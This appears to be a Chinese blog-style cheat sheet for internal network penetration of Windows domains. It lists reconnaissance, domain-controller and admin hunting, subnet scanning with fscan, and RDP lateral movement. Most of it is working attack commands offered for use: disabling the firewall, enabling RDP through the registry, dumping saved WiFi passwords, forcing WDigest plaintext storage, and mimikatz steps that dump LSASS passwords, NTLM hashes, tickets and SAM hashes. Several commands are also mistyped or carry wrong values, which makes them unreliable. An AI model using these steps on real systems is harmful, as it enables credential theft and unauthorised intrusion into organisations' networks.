【内网渗透第一弹！！！】内网信息收集

1.CS信息收集:

ip与网关

版本信息:

体系结构：

安装的软件：

本机安装服务：

进程：

开机自启：

查看杀软：

wmic /node:localhost/namespace:\\root\securitycenter2 path antivirusproduct get displayname/format:list

查看共享：

关闭防火墙：

netsh firewall set opmode disable

netsh advfirewall firewall add rulename="remotedesktop" protocol=tcp dir=in localport=3389 action=allow

开启3389：

开启3389端口的命令：

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

关闭3389端口的命令：

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /

查看WiFi账号密码：

for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

查看rdp端口：

REG query HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp /v PortNumber

2.域内信息收集

2.1权限：whoami

查看是否是域

查看是否加入域

查本地用户：net localgroup administrators //查看管理员组

net localgroup users //查看用户组

查看域内用户组列表：net group /domain //domain向域控查询

net group "domain ***" /domain

查询域内计算机：net view/domain:域名

2.2定位域控制器

查看域控的机器名：nlteat /DCLIST:域名

查域控ip：ping 域控.域名.com

//或者 nslookup -type=SRV _ldap._tcp

查看当前时间也可以得到域控名(域控给出时间)：net time /domain

用nslookup+域控.域名.com也可以解析到ip

查看域控制器组domain controllers可以查到域控

2.3获取域内用户

查询域内用户：net user /domain

查询域管理用户：net group "domain admins" /domain

2.4定位域管理员

工具PsLoggedom.exe：PsLoggedon.exe -accepteula \\电脑名

PsLoggedon.exe \\用户

工具pvefindaduser：PVEFindADUser.exe -current

工具netview.exe:netview.exe -d

powershell脚本: powershell -exec bypass Import-Module .\powerview.ps1;Get-NetDomain

powershell.exe -exec bypass -command "& {Import-Module .\powerview.ps1;Invoke-Userhunter}"

先导入脚本：Import-Module .\PowerView.ps1

命令：Invoke-Userhunter

3.内网Ip扫描

3.1icmp协议扫描网段

循环ping: for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="

fping.exe ip //管理员权限

3.2arp协议扫描网段

命令：arp -a

3.3NETBIOS协议扫描网段：

找到ip和主机名

命令：nbscan.exe 192.168.111.0/24

3.4fscan工具扫描

fscan.exe -h 192.168.111.0/24

fscan.exe -h 192.168.111.0/24 -o 1.txt //保存到

4.端口扫描

5.密码抓取

5.1mimikatz：要提权到管理员

注意：

当目标为win10或2012R2以上时，默认在内存缓存中禁止保存明文密码，但可以通过修改注册表的方式抓取明文。

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

抓取明文密码

在windows2012以上的系统不能直接获取明文密码了，当可以搭配procdump+mimikatz获取密码。

mimikatz # log

mimikatz # privilege::debug

mimikatz # sekurlsa::logonpasswords

抓取用户NTLM哈希

sekurlsa::msv

加载dmp文件，并导出其中的明文密码

sekurlsa::minidump lsass.dmp

sekurlsa::logonpasswords full

导出lsass.exe进程中所有的票据

sekurlsa::tickets /export

在线读取SAM文件中Hash

privilege::debug

token::elevate

lsadump::sam

ps:runas /noprofile /user:Administrator cmd

抓取密码原理：读sam文件 读lsass.exe进程（内存）

6.横向移动

6.1rdp连接

查看rdp端口：

reg query "hklm\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds" /s

开启3389：

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

关闭3389端口的命令：

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f

域：

只要有两个域控，且域名不一样就是跨域

父域与子域，父域与父域之间要开启信任关系

信任会传递，a信任b，b信任c，a就会信任c

创域为什么需要静态ip并且设为dns